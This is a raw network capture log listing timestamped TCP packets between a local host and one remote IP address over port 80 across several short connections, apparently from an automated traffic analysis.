Oct 10, 2024 21:02:57.526665926 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.527556896 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.527584076 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.527611017 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.527637005 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.527662992 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.527689934 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.527714968 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.527740955 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.527851105 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.527983904 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.531629086 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.531677008 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.531805992 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.532150030 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.532349110 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.532426119 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.532496929 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.532979012 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.533025980 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.533036947 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.533086061 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.533260107 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.533370972 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.536844969 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.536994934 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.537151098 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.537353992 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.537575006 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.538240910 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.538649082 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.538702965 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.538752079 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.538779020 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.538875103 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.538902044 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.538928986 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.538954973 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.539000988 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.539026976 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.539052963 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.539078951 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.539108992 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.539135933 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.542224884 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.542252064 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.542278051 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.542304039 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.833695889 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.842988014 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.848515034 CEST	80	50629	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.848624945 CEST	50629	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.961854935 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.966918945 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:57.967114925 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.967376947 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:57.972469091 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.558377028 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.559470892 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:58.559710979 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:58.564405918 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.564855099 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.564883947 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.564913034 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.564960003 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.565005064 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.565032005 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.565079927 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.565105915 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.565114975 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:58.565114975 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:58.565131903 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.565171003 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.565308094 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:58.565308094 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:58.570214033 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.570244074 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.570298910 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.570302963 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:58.570328951 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.570359945 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.570385933 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:58.570414066 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.570463896 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.570532084 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.570564032 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.570590973 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.570640087 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.570667028 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.570683956 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:58.570683956 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:58.570839882 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:58.570884943 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:58.575593948 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.575647116 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.575782061 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:58.575858116 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.576261997 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.576309919 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.576370955 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.576399088 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.576445103 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.576591969 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.576793909 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.576963902 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.576992035 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.577018976 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.577049971 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.577097893 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.577125072 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.577152014 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.577183008 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.578022003 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.578069925 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.578097105 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.578123093 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.578172922 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.578198910 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.578227043 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.578253984 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.580646038 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.876279116 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.900990009 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:58.906311035 CEST	80	50635	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:58.906404972 CEST	50635	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.087933064 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.093420029 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.093744040 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.094258070 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.099302053 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.542583942 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.552370071 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.552659988 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.557332039 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.557727098 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.557755947 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.557775021 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.557782888 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.557799101 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.557826996 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.557842016 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.557868958 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.557885885 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.557894945 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.557915926 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.557924986 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.557939053 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.557974100 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.558033943 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.558059931 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.558083057 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.558087111 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.558104992 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.558130026 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.563015938 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.563044071 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.563077927 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.563098907 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.563101053 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.563127995 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.563144922 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.563174009 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.563318014 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.563344002 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.563364029 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.563375950 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.563393116 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.563452959 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.563566923 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.566740036 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.566768885 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.850305080 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.850361109 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.850462914 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:59.850703955 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.851139069 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.851167917 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.851216078 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.851497889 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.851546049 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.851922035 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.851948977 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.852050066 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.852215052 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.852369070 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.852483988 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.852775097 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.852847099 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.853219032 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.853550911 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.853746891 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.853773117 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.853817940 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.853843927 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.853890896 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.853916883 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.853961945 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.854064941 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.854090929 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.854116917 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.854182959 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.854209900 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.854257107 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.854283094 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.854329109 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.854355097 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.854383945 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.854490995 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.854516983 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:59.857111931 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.015492916 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.056160927 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.243366003 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.250111103 CEST	80	50645	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.250170946 CEST	50645	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.368297100 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.373310089 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.373389006 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.385127068 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.390353918 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.848736048 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.849438906 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.849739075 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.854880095 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.855458975 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.855485916 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.855513096 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.855523109 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.855544090 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.855561972 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.855562925 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.855593920 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.855650902 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.855676889 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.855703115 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.855705023 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.855731964 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.855732918 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.855758905 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.855762005 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.855784893 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.855787039 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.855814934 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.855838060 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.860766888 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.860822916 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.861005068 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.861059904 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.861172915 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.861206055 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.861231089 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.861232996 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.861257076 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.861258030 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.861279011 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.861320972 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.861331940 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.861346960 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.861381054 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.861396074 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.861418009 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.861449003 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.861479044 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.861548901 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.861560106 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.861629963 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.861747980 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.861803055 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.866559982 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.866617918 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:00.867084980 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.867331028 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.867362022 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.867463112 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.867516041 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.867722034 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.867772102 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.867873907 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.867958069 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.867985010 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.868087053 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.868136883 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.868185043 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.868210077 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.868364096 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.868391037 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.868417025 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.868446112 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.868472099 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.868496895 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.868604898 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.868630886 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.868657112 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.868681908 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:00.871979952 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:01.168755054 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:01.176552057 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:01.184432030 CEST	80	50651	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:01.184506893 CEST	50651	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:01.376219034 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:01.381462097 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:01.381659985 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:01.382015944 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:01.387403965 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.103885889 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.103967905 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.104130983 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.105045080 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.105199099 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.110289097 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.110313892 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.110327005 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.110374928 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.110423088 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.110436916 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.110459089 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.110471010 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.110482931 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.110634089 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.110766888 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.110780001 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.110793114 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.110829115 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.110869884 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.115288973 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.115356922 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.115371943 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.115391970 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.115425110 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.115467072 CEST	50658	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:02.115573883 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.115653992 CEST	80	50658	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:02.115740061 CEST	50658	80	192.168.2.4	104.21.59.199
